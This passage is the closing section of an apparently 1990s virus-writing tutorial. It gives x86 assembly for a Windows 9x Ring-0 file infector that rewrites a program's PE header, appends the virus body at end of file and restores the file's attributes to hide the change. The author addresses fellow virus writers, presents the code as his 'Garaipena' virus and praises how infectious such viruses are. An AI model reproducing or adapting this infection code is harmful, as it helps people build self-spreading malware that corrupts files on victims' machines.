            mov     eax,R0_WRITEFILE                ; D601h
            mov     ecx,400h                        ; write 1024 bytez (buffer)
            mov     edx,dword ptr [ebp+pehead]      ; where to write (PE offset)
            lea     esi,[ebp+header]                ; Data to write
            VxDCall IFSMgr_Ring0_FileIO

     We have  just wrote the  header. Now, we  have only  to append the  virus. I
     decided to  append it at  EOF direcly, because my  way of modificating PE...
     Well, i did it  in this way. But don't worry, is easy to adapt to your infection methods, as i assume you  understood how it works. Just  before append
     the virus body, remember that we should fix all VxDCallz, as they are transformed in callbacks in memory. Remember the VxDFix procedure i taught you in
     this same document. By the way, as we append in EOF, we should know how many
     bytes it  ocuppies. Preety  easy, we have  a function in IFSMgr_Ring0_FileIO
     (how not!) that  does the job: R0_GETFILESIZE. Let's see  its input parameterz:

     EAX = R0_GETFILESIZE = D800h
     EBX = File Handle

     And returs us in EAX  the size of the file owner of the handler, that is the
     file we are trying to infect.

            call    VxDFix                          ; Re-make all INT 20h's

            mov     eax,R0_GETFILESIZE              ; D800h
            VxDCall IFSMgr_Ring0_FileIO
                                                    ; EAX = File size
            mov     edx,R0_WRITEFILE                ; EDX = D601h
            xchg    eax,edx                         ; EAX = D601; EDX = File size
            lea     esi,[ebp+virus_start]           ; What to write
            mov     ecx,virus_size                  ; How much bytez to write
            VxDCall IFSMgr_Ring0_FileIO

     Well, only  some things left to do.  Just close the file and restore its old
     attributes. Well, of  course  the  close file function  is  in  our  beloved
     IFSMgr_Ring0_FileIO, now function D700h. Let's see its input parameters:

     EAX = R0_CLOSEFILE = 0D700h
     EBX = File Handle

     And now its code:

     muthafucka:
            mov     eax,R0_CLOSEFILE
            VxDCall IFSMgr_Ring0_FileIO

     Well, only one thing left to do (kewl!). Restore the old attributes.

     stillnotsofunny:
            pop     ecx                             ; Restore old attributos
            pop     esi                             ; Restore ptr to FileName
            mov     eax,4301h                       ; Set attributes function
            VxDCall IFSMgr_Ring0_FileIO

     notsofunny:
            ret

     And that's  all! :) By the  way, all  those "VxDCall IFSMgr_Ring0_FileIO" is
     better  to have in  a subroutine, and  call it with a simple call: it's more
     optimized (if you use the VxDCall macro i showed to you), and it much better
     because with only place an offset in VxDFix's table the job is done.

     % Last words %
     --------------

     I must  thank the 3  most  important  people that  helped me while coding my
     first  Ring-0  stuff: Super, Vecna and nIgr0 (you  are  the g0dz!). Well, is
     there something else to  say? Ehrrm... yeah. Ring-0 is our sweet dream under
     Win9X, yes. But is has a limited life. Doesn't matter if we, the VXers, find
     a way for get Ring-0 privilege in systems  such as NT, or the future Win2000
     (NT5). Micro$oft  will make  a patch or  a Service  Pack  for  fix all those
     possible bugs. Anyway, it's very  interesting to code a Ring-0 virus. For me
     the experience  has been  funny, and  helped  me to know  more about Windoze
     internal structure. I hope it will help to you too. Note that Ring-0 viruses
     such as the virus very  commented i presented here (my Garaipena with little
     changes) are  very infectious. System  tries to open  files almost for bullshits. Well, just see that one of the most infectious, fast and spread virus
     nowadays is a Ring-0 virus, CIH.

     Billy Belceb£,
     mass killer and ass kicker.